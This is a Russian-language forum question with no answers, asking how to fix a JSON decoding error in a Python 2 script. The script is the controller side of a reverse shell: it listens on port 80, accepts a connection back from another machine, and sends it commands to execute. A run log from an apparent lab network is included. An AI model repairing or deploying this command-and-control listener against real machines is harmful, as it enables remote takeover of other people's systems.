Как решить проблему с ValueError: No JSON object could be decoded

code:
#!/usr/bin/env python
import socket
import json

class Listener:
     def __init__(self, ip, port):
          listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
          listener.bind((ip, port))
          listener.listen(0)
          print('[+] Waiting for incoming connection')
          self.connection, address = listener.accept()
          print('[+] Got a connection from ' + str(address))

     def reliable_send(self, data):
          json_data = json.dumps(data)
          self.connection.send(json_data)

     def reliable_receive(self):
          json_data = self.connection.recv(1024)
          return json.loads(json_data)


     def execute_remotely(self, command):
          self.reliable_send(command)
          return self.reliable_receive()

     def run(self):
          while True:
               command = raw_input(">> ")
               result = self.execute_remotely(command)
               print(result)

my_listener = Listener('10.0.2.15', 80)
my_listener.run()


Не понимаю как решить эту проблему с json
error:
[+] Waiting for incoming connection
[+] Got a connection from ('10.0.2.5', 49786)
>> dir
Traceback (most recent call last):
  File "listener.py", line 35, in <module>
    my_listener.run()
  File "listener.py", line 31, in run
    result = self.execute_remotely(command)
  File "listener.py", line 26, in execute_remotely
    return self.reliable_receive()
  File "listener.py", line 21, in reliable_receive
    return json.loads(json_data)
  File "/usr/lib/python2.7/json/__init__.py", line 339, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python2.7/json/decoder.py", line 364, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python2.7/json/decoder.py", line 382, in raw_decode
    raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded

Ответы (0 шт):